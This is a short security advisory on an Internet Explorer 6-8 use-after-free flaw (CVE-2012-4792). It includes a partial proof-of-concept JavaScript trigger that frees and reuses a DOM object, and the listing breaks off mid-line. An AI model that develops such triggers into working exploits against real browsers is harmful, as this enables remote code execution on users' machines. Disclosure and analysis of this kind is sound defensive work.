

Security News

2013-01001 Microsoft Internet Explorer CDwnBindInfo Use-After-Free Vulnerability

1. Affected Version

Microsoft Internet Explorer 6
Microsoft Internet Explorer 7
Microsoft Internet Explorer 8

2. Description

Microsoft Internet Explorer versions 6, 7 and 8 are susceptible to a CDwnBindInfo use-after-free vulnerability ([CVE-2012-4792](#)) that may result in remote code execution.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
CollectGarbage();

try {
    e0 = document.getElementById("a");
    e1 = document.getElementById("b");
    e2 = document.createElement("q");
    e1.applyElement(e2);
    e1.appendChild(document.createElement('button'));
    e1.applyElement(e0);
    e2.outerText = "";
    e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i =0; i < 20; i++)
{
    arrObject[i].className =
```

